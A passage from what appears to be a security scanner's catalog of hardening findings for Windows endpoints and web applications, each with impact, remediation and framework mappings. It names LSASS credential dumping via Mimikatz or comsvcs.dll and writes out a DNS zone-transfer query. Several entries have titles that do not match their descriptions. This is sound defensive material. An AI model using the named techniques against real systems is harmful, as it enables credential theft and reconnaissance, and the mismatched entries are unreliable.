Remediation: Disable WinRM if not required. If required, enforce HTTPS transport, disable basic authentication, configure TrustedHosts to restrict connections, and monitor WinRM event logs for unauthorized access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: AC-17, SC-8
PCI DSS 4: 8.3.1
MEDIUM DR-RMT-004 — Service Hardening: SSH Server Enabled
Description: An SSH server (OpenSSH) is running on this Windows system. SSH on Windows endpoints is uncommon and may indicate unauthorized installation, developer tools, or a persistence mechanism installed by an attacker.
Impact: SSH provides encrypted remote shell access that can be used for lateral movement, tunneling, and persistent access. On Windows endpoints, SSH is rarely business-justified and represents an additional attack surface.
Remediation: Disable the OpenSSH Server Windows feature if not required. If required, enforce key-based authentication, disable password login, and restrict access via firewall rules to authorized source IPs.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.004 (Lateral Movement)
NIST 800-53: AC-17
PCI DSS 4: 4.2.1
MEDIUM DR-RMT-005 — Service Hardening: Multiple RMT Tools
Description: The OpenSSH Server service is running on this Windows endpoint, providing SSH remote access.
Impact: OpenSSH on Windows provides command-line remote access. While potentially legitimate for administration, it adds an additional remote access vector that should be documented and monitored.
Remediation: If OpenSSH is authorized, ensure it is configured securely: disable root login, use key-based authentication, limit allowed users, and monitor SSH logs. If not authorized, disable the sshd service.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control), T1021 (Lateral Movement)
NIST 800-53: CM-7
PCI DSS 4: 12.3.1, 6.3.2
MEDIUM DR-SFT-001 — EOL Software: End-of-Life Software Installed
Description: Software that has reached end-of-life and no longer receives security updates is installed on this endpoint.
Impact: EOL software accumulates unpatched vulnerabilities over time with no vendor fixes available. Publicly known exploits continue to work indefinitely. This represents a permanent and growing security gap.
Remediation: Upgrade or replace end-of-life software with supported versions. If no replacement is available, implement compensating controls (network isolation, application whitelisting) and document the risk acceptance.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SA-22, SI-2
PCI DSS 4: 6.3.3
MEDIUM DR-SFT-002 — Software: Remote Access Software
Description: An installed software version is known to contain security vulnerabilities with available updates.
Impact: Running known-vulnerable software versions exposes the system to exploits targeting those specific vulnerabilities. Attackers routinely scan for known vulnerable software versions using automated tools.
Remediation: Update the software to the latest patched version. If updates are not immediately possible, implement compensating controls such as network segmentation and application-level monitoring. Prioritize based on CVSS score and network exposure.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.3
MEDIUM DR-SFT-004 — Software: P2P/Torrent Software
Description: Software not included in the organization's approved software list was detected. This finding requires per-engagement policy configuration.
Impact: Unauthorized software may introduce vulnerabilities, licensing issues, or compliance violations. It may also indicate shadow IT or user-installed tools that bypass change management.
Remediation: Review unauthorized software with the system owner to determine if it should be added to the approved list or removed. Implement application control policies (AppLocker, WDAC) to prevent installation of unapproved software.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1105 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.2
MEDIUM DR-SFT-008 — Service Hardening: Services Running Under User Accounts
Description: Services are running under domain or local user accounts rather than standard service accounts (LocalSystem, LocalService, NetworkService). These credentials are cached in memory and may have excessive privileges.
Impact: Service account credentials cached in LSASS memory are extractable via Mimikatz or comsvcs.dll MiniDump. If the service account has domain admin or other elevated privileges, compromising this host yields those credentials. Service accounts often have weak, non-rotating passwords.
Remediation: Migrate services to Group Managed Service Accounts (gMSA). For services requiring a user account: enforce minimum privileges, rotate passwords regularly, deny interactive logon, and exclude from privileged groups.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: AC-6, IA-5, AC-2
PCI DSS 4: 7.2.1, 8.6.1
MEDIUM DR-SFT-010 — Software: Development or Diagnostic Tools on Production Server
Description: Development, diagnostic, or offensive security tools are installed on a production server. These tools lower the post-exploitation barrier by providing compilers, packet analyzers, or debuggers an attacker can use directly.
Impact: Installed compilers can build custom malware on-target. Packet analyzers capture credentials in transit. Debuggers dump process memory including cached credentials from LSASS. These tools eliminate the need for an attacker to upload their own tooling, avoiding endpoint detection.
Remediation: Remove development, diagnostic, and security tools from production servers. Development should occur in isolated environments. If tools are required operationally, document the justification and restrict access via file system ACLs.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1588.002 (Resource Development)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 2.2.4
MEDIUM DR-SRV-002 — Service Hardening: IIS Default Site
Description: IIS is running with the default web site active. The default site exposes server information, may serve default pages, and typically lacks application-specific hardening that production deployments require.
Impact: The default IIS site reveals the web server platform, may expose debug pages or sample applications, and often lacks proper access controls. Attackers use default sites to fingerprint the server and find known vulnerabilities.
Remediation: Remove or stop the 'Default Web Site' if it is not needed. For production sites, create named sites with specific bindings and remove all default content, sample applications, and documentation.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1082 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 8.3.1
CISA KEV
MEDIUM DR-SRV-003 — Service Hardening: Unnecessary Server Roles
Description: Server roles (DHCP, DNS, AD DS, Hyper-V, IIS, etc.) are installed on this workstation. Server roles on workstations expand the attack surface with services not intended for endpoint use.
Impact: Each server role introduces additional listening services, open ports, and potential vulnerabilities. On a workstation, these roles are rarely monitored or patched with the same rigor as production servers.
Remediation: Remove unnecessary server roles via Server Manager or DISM. Workstations should not run server infrastructure services unless specifically authorized and hardened.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement), T1543.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 8.6.1
MEDIUM DR-SRV-004 — Service Hardening: Web Server on Workstation
Description: A web server (IIS, Apache, Nginx, XAMPP, WAMP, etc.) is running on this workstation. Web servers on endpoints are often development installations with default configurations and no hardening.
Impact: Web servers on workstations are typically unmonitored, lack WAF protection, may expose sensitive development data, and are frequently misconfigured with directory listing, debug modes, or default credentials enabled.
Remediation: Remove web server software from workstations. Use dedicated servers or containerized development environments. If a local dev server is required, ensure it binds only to localhost (127.0.0.1).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM DR-SYS-002 — Patch Management: Missing Critical Updates
Description: The endpoint has critical or important security updates pending installation, leaving known vulnerabilities unpatched.
Impact: Attackers can exploit publicly known vulnerabilities with available patches. Delayed patching is one of the most common vectors for ransomware and lateral movement within enterprise networks.
Remediation: Install all pending critical and important security updates immediately. Configure Windows Update or WSUS to automatically download and install security updates on a regular schedule. Establish a patch management process with a maximum 30-day window for critical updates and 90 days for important updates.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3
MEDIUM DR-SYS-003 — Patch Management: Windows Update Disabled
Description: The Windows Update service (wuauserv) is disabled or stopped, preventing automatic security update installation.
Impact: Without the update service running, the system will not receive security patches, accumulating vulnerabilities over time. This creates a growing attack surface that adversaries can exploit.
Remediation: Enable the Windows Update service by setting its startup type to Automatic and starting the service. Verify that Group Policy is not overriding this setting. If WSUS or SCCM is used for update management, ensure the client agent is properly configured and communicating with the update server.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3
MEDIUM DR-SYS-006 — Patch Management: No Backup Configured
Description: No Windows backup solution (Windows Server Backup, System Restore, or third-party backup) is configured on this endpoint.
Impact: Without backups, data loss from ransomware, hardware failure, or accidental deletion is unrecoverable. This significantly increases the business impact of any destructive attack or system failure.
Remediation: Configure Windows Server Backup or a third-party backup solution to perform regular system state and data backups. Store backups on a separate, isolated storage target. Test backup restoration procedures regularly to ensure recoverability.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1490 (Impact)
NIST 800-53: CP-9, CP-10
PCI DSS 4: 12.10.1
MEDIUM DR-SYS-007 — Patch Management: Last Backup Over 30 Days
Description: The most recent backup on this system is older than 30 days, indicating that backup jobs may have failed or been disabled.
Impact: A stale backup means up to 30+ days of data would be lost in a disaster recovery scenario. Critical business data, configuration changes, and system state captured after the last backup cannot be restored.
Remediation: Investigate why backups have not completed recently. Check backup job schedules, storage target availability, and backup service health. Resume regular backup operations and configure alerting for backup failures.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1490 (Impact)
NIST 800-53: CP-9
PCI DSS 4: 12.10.1
MEDIUM DR-SYS-008 — System Hardening: BitLocker Not Enabled
Description: BitLocker Drive Encryption is not enabled on one or more fixed drives, leaving data at rest unprotected.
Impact: If the device is stolen or a hard drive is physically removed, all data on unencrypted volumes is accessible without authentication. This includes cached credentials, local databases, documents, and application data.
Remediation: Enable BitLocker Drive Encryption on all fixed drives. Use TPM+PIN for pre-boot authentication where possible. Store recovery keys in Active Directory or a centralized key management solution. For systems without TPM, use USB key-based or password-based protectors.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1005 (Collection)
NIST 800-53: SC-28
PCI DSS 4: 3.5.1
MEDIUM DR-SYS-010 — System Hardening: Secure Boot Not Enabled
Description: UEFI Secure Boot is not enabled on this endpoint, allowing unsigned or tampered boot components to execute during system startup.
Impact: An attacker with physical access or kernel-level privileges can install a bootkit or rootkit that loads before the operating system, persisting across reinstalls and evading all OS-level security controls including antivirus and EDR.
Remediation: Enable Secure Boot in the system's UEFI firmware settings. Ensure the operating system was installed in UEFI mode (not legacy BIOS). Verify that all boot components (bootloader, kernel, drivers) are properly signed. Note that enabling Secure Boot on a legacy BIOS-installed system requires OS reinstallation in UEFI mode.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1542.003 (Persistence)
NIST 800-53: SI-7, CM-6
PCI DSS 4: 2.2.1
MEDIUM DR-SYS-011 — Monitoring: Sysmon Not Installed
Description: Sysmon (System Monitor) is not installed on this system. Sysmon provides detailed telemetry about process creation, network connections, file creation, registry modifications, WMI events, and other security-relevant activities that are essential for threat detection and incident response.
Impact: Without Sysmon, the system lacks granular visibility into process execution (with command lines and parent process chains), network connections per-process, file creation timestamps and hashes, registry modifications, WMI activity, and named pipe operations. This severely limits the ability to detect and investigate malicious activity, lateral movement, and persistence mechanisms. Native Windows event logs lack the detail that Sysmon provides.
Remediation: Install Sysmon from Microsoft Sysinternals: sysmon64.exe -accepteula -i sysmonconfig.xml. Use a community-maintained configuration such as SwiftOnSecurity/sysmon-config or olafhartong/sysmon-modular as a starting point. Key event types to enable: Process creation (Event 1), Network connection (Event 3), File creation (Event 11), Registry modification (Event 13), WMI events (Events 19-21). Forward Sysmon logs to a SIEM for detection and alerting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: AU-2, AU-3, AU-12, SI-4
PCI DSS 4: 10.2.1, 10.6.1
MEDIUM DR-SYS-013 — Network Hardening: DNS Zone Transfer Allowed
Description: The DNS server role is installed and zone transfers (AXFR) are allowed to any requestor, or are not restricted to specific secondary DNS servers. This allows any host to download the complete contents of DNS zones, including all hostnames, IP addresses, and service records.
Impact: Unrestricted DNS zone transfers expose the entire internal DNS namespace to any attacker who can reach the DNS server. This provides a complete map of internal hosts, services, domain controllers, and other infrastructure without triggering typical detection mechanisms. The information enables targeted attacks against specific systems and services identified through the zone data.
Remediation: Restrict zone transfers to authorized secondary DNS servers only. In DNS Manager: right-click zone > Properties > Zone Transfers > uncheck 'Allow zone transfers' or select 'Only to the following servers' and list authorized secondaries. For AD-integrated zones, consider disabling zone transfers entirely and relying on AD replication. Verify with: nslookup > set type=AXFR > ls -d <domain>.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1590.002 (Reconnaissance)
NIST 800-53: AC-3, SC-8, CM-6
PCI DSS 4: 1.3.1
MEDIUM DR-USR-001 — Account Management: Built-in Administrator Enabled
Description: The built-in Administrator account (RID 500) is enabled on this endpoint.
Impact: The built-in Administrator is a well-known target for brute force attacks and cannot be locked out by default. If compromised, it provides full system control. Attackers specifically target this account during password spraying and pass-the-hash attacks.
Remediation: Disable the built-in Administrator account and create named individual admin accounts. If the built-in account must remain enabled for emergency access, rename it and set a complex password stored in a password vault. Consider implementing LAPS for local admin password management.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence)
NIST 800-53: AC-2, AC-6
PCI DSS 4: 8.6.1
MEDIUM DR-USR-003 — Account Management: Password Never Expires
Description: One or more interactive user accounts have the 'Password never expires' flag set.
Impact: Passwords that never expire may remain unchanged for years, increasing the window for compromise through credential theft or brute force. Compliance frameworks universally require periodic password rotation.
Remediation: Remove the 'Password never expires' flag from interactive user accounts. Implement a maximum password age policy (60-90 days). Service accounts should use managed service accounts (gMSA) or be documented with compensating controls if password expiry would break functionality.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078 (Persistence)
NIST 800-53: IA-5
PCI DSS 4: 7.2.1
MEDIUM DR-USR-004 — Account Management: Excessive Local Administrators
Description: The local Administrators group contains more than 3 members, indicating excessive administrative access.
Impact: Each local administrator account is a potential credential for full system compromise. Excessive admin accounts increase the attack surface for pass-the-hash, credential theft, and privilege abuse. Lateral movement is easier when admin credentials are widespread.
Remediation: Review the local Administrators group and remove unnecessary members. Implement the principle of least privilege using standard user accounts for daily operations. Consider implementing LAPS and just-in-time admin access solutions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1078.003 (Privilege Escalation)
NIST 800-53: AC-6, AC-2
PCI DSS 4: 8.3.9
MEDIUM DR-USR-006 — Authentication: Account Lockout Not Configured
Description: The account lockout threshold is set to 0 (disabled), allowing unlimited failed login attempts without locking the account.
Impact: Without account lockout, attackers can perform unlimited password guessing attacks against all accounts without triggering any lockout defense. Password spraying and brute force attacks can continue indefinitely.
Remediation: Configure account lockout policy: set lockout threshold to 5-10 failed attempts, lockout duration to 30 minutes, and reset counter after 30 minutes. Apply via Group Policy: Computer Configuration > Windows Settings > Security Settings > Account Policies > Account Lockout Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7
PCI DSS 4: 8.3.4
MEDIUM FR-006 — Information Disclosure: WordPress Version
Description: The WordPress version was identified from publicly accessible files or meta tags. A known version allows attackers to target specific vulnerabilities.
Remediation: Remove version disclosure from meta generator tags and restrict access to files that reveal version information. Keep WordPress updated.
OWASP Web: A06:2025
MEDIUM FR-007 — WordPress Login Page Accessible
Description: The WordPress admin login page (wp-login.php) is publicly accessible. This exposes the authentication endpoint to brute-force and credential stuffing attacks.
Remediation: Restrict access to wp-login.php by IP, add CAPTCHA, implement account lockout, or use a WAF rule to limit login attempts.
OWASP Web: A07:2025
MEDIUM FR-008 — WordPress User Registration Enabled
Description: WordPress user self-registration is enabled. Attackers may create accounts to gain authenticated access or exploit subscriber-level vulnerabilities.
Remediation: Disable user registration if not required. If required, implement email verification and role restrictions for new registrations.
OWASP Web: A05:2025
MEDIUM FR-015 — WordPress REST API Exposed
Description: The WordPress REST API is publicly accessible without authentication. This may expose site structure, user data, and plugin information to unauthenticated users.
Remediation: Restrict REST API access to authenticated users where possible. Disable specific endpoints that expose sensitive data.
OWASP Web: A01:2025
MEDIUM FR-018 — WordPress User Enumeration via Author Archives
Description: WordPress author archive pages (/?author=N) redirect to /author/<username>/, disclosing valid usernames. Enumerated usernames can be used for targeted brute-force attacks.
Remediation: Disable author archive pages or suppress the username slug from archive URLs using a security plugin or custom rewrite rules.
OWASP Web: A07:2025
MEDIUM FR-024 — WordPress uploads Directory Browsing Enabled
Description: Directory listing is enabled on the WordPress uploads directory. Attackers can enumerate all uploaded files, potentially finding sensitive documents or user data.
Remediation: Disable directory listing in the web server configuration. Add an Options -Indexes directive or equivalent.
OWASP Web: A05:2025
MEDIUM FR-029 — Application Error Message Disclosure
Description: Verbose error messages are returned by the application, potentially revealing stack traces, file paths, database queries, or framework internals.
Remediation: Configure custom error pages for all HTTP error codes. Ensure verbose errors are logged server-side only and not returned to clients.
OWASP Web: A05:2025
MEDIUM FR-030 — Directory Listing Enabled
Description: Directory listing is enabled on one or more paths, allowing unauthenticated users to browse file and directory contents. This may expose source code, configuration files, or sensitive documents.
Remediation: Disable directory listing in web server configuration (Options -Indexes for Apache, autoindex off for Nginx).
OWASP Web: A05:2025
MEDIUM FR-031 — WSDL/WADL Service Description Exposed
Description: A WSDL or WADL service description file is publicly accessible. These files describe all available service methods, parameters, and data types, providing a full attack surface map.
Remediation: Restrict access to WSDL/WADL files by IP or authentication. Remove them from public-facing endpoints in production.
OWASP Web: A05:2025
MEDIUM FR-033 — Swagger/OpenAPI Documentation Exposed
Description: Swagger UI or OpenAPI specification files are publicly accessible without authentication. These documents expose the full API surface including endpoints, parameters, authentication schemes, and data models.
Remediation: Restrict access to API documentation in production. If public documentation is required, ensure it does not expose internal or administrative endpoints.
OWASP Web: A05:2025
MEDIUM FR-044 — TLS Certificate Self-Signed
Description: The TLS certificate is self-signed and not issued by a trusted Certificate Authority. Clients cannot validate the server's identity, making the connection susceptible to MITM attacks.
Remediation: Replace the self-signed certificate with one issued by a trusted CA. Use Let's Encrypt for free, automatically renewed certificates.
OWASP Web: A02:2025
MEDIUM FR-047 — TLS BEAST Vulnerability
Description: The server is vulnerable to the BEAST (Browser Exploit Against SSL/TLS) attack due to the use of TLS 1.0 with CBC cipher suites. An attacker with network position can decrypt portions of encrypted traffic.
Remediation: Disable TLS 1.0. Prefer TLS 1.2+ with GCM cipher suites. Enable server-side cipher preference.
OWASP Web: A02:2025
MEDIUM FR-056 — TLS SWEET32 Vulnerability
Description: The server supports 3DES cipher suites, making long-lived TLS connections vulnerable to the SWEET32 birthday attack, which can recover plaintext from encrypted traffic.
Remediation: Disable 3DES (TRIPLE_DES, 3DES_EDE) cipher suites. Prefer AES-GCM cipher suites.
OWASP Web: A02:2025
MEDIUM FR-057 — HTTP Strict Transport Security (HSTS) Not Enforced
Description: The Strict-Transport-Security (HSTS) header is not present or has an insufficient max-age. Without HSTS, browsers may connect over HTTP, enabling SSL stripping attacks.
Impact: Without HSTS enforcement, browsers permit plaintext HTTP connections, enabling SSL stripping attacks where an attacker downgrades the connection to intercept credentials and session tokens in transit.
Remediation: Add the Strict-Transport-Security header with a max-age of at least 31536000 seconds (1 year), includeSubDomains, and preload directives.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MEDIUM FR-058 — TLS Certificate Uses Weak Signature Algorithm (MD5/SHA-1)
Description: The TLS certificate is signed with a weak signature algorithm (MD5 or SHA-1). SHA-1 certificates are deprecated by major browsers and CAs, and MD5 certificates are cryptographically broken.
Remediation: Replace the certificate with one using SHA-256 or stronger signature algorithm (SHA-2 family).
OWASP Web: A02:2025
MEDIUM FR-059 — TLS Certificate Short Key Length
Description: The TLS certificate uses an RSA key shorter than 2048 bits. Short RSA keys are susceptible to factoring attacks with sufficient computational resources.
Remediation: Replace the certificate with one using at least 2048-bit RSA keys, or preferably 4096-bit RSA or ECDSA P-256/P-384.
OWASP Web: A02:2025
MEDIUM FR-061 — Missing Content-Security-Policy Header
Description: The Content-Security-Policy (CSP) header is absent. Without CSP, the application has no defense against Cross-Site Scripting (XSS) and data injection attacks through browser-enforced policy.
Remediation: Implement a restrictive Content-Security-Policy header. Start with a report-only policy, monitor violations, then enforce. Avoid 'unsafe-inline' and 'unsafe-eval' directives.
OWASP Web: A05:2025
MEDIUM FR-062 — Missing X-Frame-Options Header
Description: The X-Frame-Options header is absent. Without this header, the page can be embedded in an iframe on any origin, enabling clickjacking attacks that trick users into performing unintended actions.
Remediation: Add 'X-Frame-Options: DENY' or 'X-Frame-Options: SAMEORIGIN'. Alternatively, use the CSP frame-ancestors directive.
OWASP Web: A05:2025
MEDIUM FR-066 — Missing Strict-Transport-Security Header
Description: The HTTP Strict-Transport-Security (HSTS) header is absent. Without HSTS, browsers may connect over plain HTTP, and SSL stripping attacks can downgrade HTTPS connections to HTTP.
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains; preload' to all HTTPS responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-067 — Insecure Content-Security-Policy (Unsafe-Inline Allowed)
Description: The Content-Security-Policy header contains 'unsafe-inline', which negates XSS protection by allowing inline JavaScript and CSS. This is the most common CSP misconfiguration.
Remediation: Replace 'unsafe-inline' with nonce-based or hash-based CSP. Refactor inline scripts to external files.
OWASP Web: A05:2025
MEDIUM FR-068 — Insecure Content-Security-Policy (Wildcard Source)
Description: The Content-Security-Policy header contains a wildcard (*) source directive, allowing scripts or resources to be loaded from any origin. This effectively disables CSP's XSS protection.
Remediation: Replace wildcard sources with specific, trusted origin allowlists. Audit all third-party resource dependencies.
OWASP Web: A05:2025
MEDIUM FR-069 — Session Cookie Missing Secure Flag
Description: One or more session cookies are set without the Secure flag. Without the Secure flag, the cookie will be transmitted over unencrypted HTTP connections, exposing session tokens to network interception.
Remediation: Set the Secure flag on all session cookies. Ensure the application forces HTTPS for all authenticated requests.
OWASP Web: A02:2025
MEDIUM FR-070 — Session Cookie Missing HttpOnly Flag
Description: One or more session cookies are set without the HttpOnly flag. Without HttpOnly, client-side JavaScript can read the cookie value, enabling session token theft via XSS.
Remediation: Set the HttpOnly flag on all session and authentication cookies to prevent JavaScript access.
OWASP Web: A02:2025
MEDIUM FR-071 — Session Cookie Missing SameSite Attribute
Description: Session cookies are set without the SameSite attribute, or with SameSite=None without Secure. This enables Cross-Site Request Forgery (CSRF) attacks in browsers that do not implement SameSite by default.
Remediation: Set SameSite=Strict or SameSite=Lax on all session cookies. Use SameSite=None only for legitimate cross-site cookie sharing, and always with Secure.
OWASP Web: A01:2025
MEDIUM FR-077 — JWT Sensitive Data in Payload
Description: Sensitive data (e.g., passwords, PII, internal IDs) was found in the JWT payload. JWT payloads are base64-encoded but not encrypted, making them readable to any party with the token.
Remediation: Remove sensitive data from JWT payloads. Use JWE (JSON Web Encryption) if sensitive data must be embedded in tokens.
OWASP Web: A02:2025
MEDIUM FR-093 — HTTP Parameter Pollution
Description: HTTP Parameter Pollution (HPP) was detected. Supplying duplicate parameters causes inconsistent behavior in the application, potentially bypassing input validation, WAF rules, or access controls.
Remediation: Normalize HTTP parameter handling. Define explicit behavior for duplicate parameters. Validate parameters server-side after normalization.
OWASP Web: A03:2025
MEDIUM FR-096 — Hidden Form Fields Disclose Sensitive Data
Description: Hidden HTML form fields contain sensitive data such as user IDs, prices, roles, or tokens that are not intended to be modified by the client but are submitted without server-side validation.
Remediation: Validate all form fields server-side regardless of whether they are hidden. Never rely on hidden fields for security-relevant data. Use server-side session state instead.
OWASP Web: A01:2025
MEDIUM FR-097 — Client-Side Redirect via open() or location
Description: JavaScript code uses window.location, window.open, or similar to redirect users based on URL parameters without validation. This may enable open redirect or DOM-based XSS attacks.
Remediation: Validate redirect destinations against a server-side whitelist. Avoid using unsanitized URL parameters in client-side redirects.
OWASP Web: A01:2025
MEDIUM FR-112 — Sensitive File Exposed — phpinfo()
Description: A phpinfo() page is publicly accessible. This page reveals PHP version, loaded modules, configuration settings, environment variables, file system paths, and potentially sensitive server configuration.
Remediation: Remove all phpinfo() calls from production code. Block access to any phpinfo scripts via web server configuration.
OWASP Web: A05:2025
MEDIUM FR-116 — Vulnerability Scanner Finding — Misconfiguration
Description: A Nuclei scan identified a security misconfiguration in the application or server. Common examples include debug endpoints enabled, HTTP methods unrestricted, or CORS policies allowing arbitrary origins.
Remediation: Review and remediate the specific misconfiguration identified. Implement a security hardening baseline and apply it consistently across all servers.
OWASP Web: A05:2025
MEDIUM FR-117 — GraphQL Introspection Enabled
Description: GraphQL introspection is enabled in the production environment. Introspection allows any client to retrieve the full schema including all types, queries, mutations, and field definitions, providing a complete attack surface map.
Remediation: Disable GraphQL introspection in production environments. If introspection is required, restrict it to authenticated and authorized users.
OWASP Web: A05:2025
MEDIUM FR-121 — Insufficient Logging and Monitoring
Description: The application fails to generate adequate log entries for security-relevant events such as failed logins, access control failures, or input validation errors. Without sufficient logging, attacks may go undetected.
Remediation: Implement comprehensive security logging for all authentication events, access control failures, and input validation errors. Forward logs to a centralized SIEM. Set up alerts for anomalous patterns.
OWASP Web: A09:2025
MEDIUM FR-122 — Verbose Error Messages Logged to Client
Description: The application returns verbose error messages including stack traces, file paths, or internal state to the client. This information aids attackers in understanding the application's internals.
Remediation: Configure custom error pages in production. Log detailed errors server-side only. Never expose stack traces, framework-specific error messages, or internal paths to users.
OWASP Web: A09:2025
MEDIUM FR-124 — Username Enumeration via Login Response
Description: The login form returns different error messages for invalid usernames versus invalid passwords ('User not found' vs 'Incorrect password'). This allows enumeration of valid usernames.
Remediation: Return a generic error message ('Invalid username or password') regardless of whether the username or password is incorrect. Apply consistent response timing to prevent timing-based enumeration.
OWASP Web: A07:2025
MEDIUM FR-125 — Username Enumeration via Password Reset
Description: The password reset form reveals whether a submitted email or username exists in the system through different response messages or behaviors. This enables username/email enumeration.
Remediation: Always return the same response message for both registered and unregistered users ('If an account exists, a reset email has been sent'). Avoid timing differences that could leak account existence.
OWASP Web: A07:2025
MEDIUM FR-126 — Username Enumeration via Registration
Description: The user registration form discloses whether a username or email is already registered, enabling enumeration of valid accounts.
Remediation: Implement email-based registration confirmation to avoid exposing account existence. Use consistent responses that do not distinguish between registered and unregistered identifiers.
OWASP Web: A07:2025
MEDIUM FR-127 — Weak Password Policy
Description: The application accepts passwords that are too short or lack complexity requirements. Weak passwords are trivially compromised through brute-force or dictionary attacks.
Remediation: Enforce a minimum password length of 12 characters. Check passwords against known breached password lists (e.g., HaveIBeenPwned API). Consider implementing NIST SP 800-63B password guidance.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM FR-128 — Multi-Factor Authentication Not Enforced
Description: Multi-factor authentication (MFA) is not available or not enforced for privileged accounts. Single-factor authentication is vulnerable to credential theft, phishing, and brute-force attacks.
Remediation: Implement and enforce MFA for all user accounts, especially administrative and privileged accounts. Use TOTP, hardware tokens, or push-based MFA.
OWASP Web: A07:2025
MEDIUM FR-135 — Long-Lived Session Without Expiration
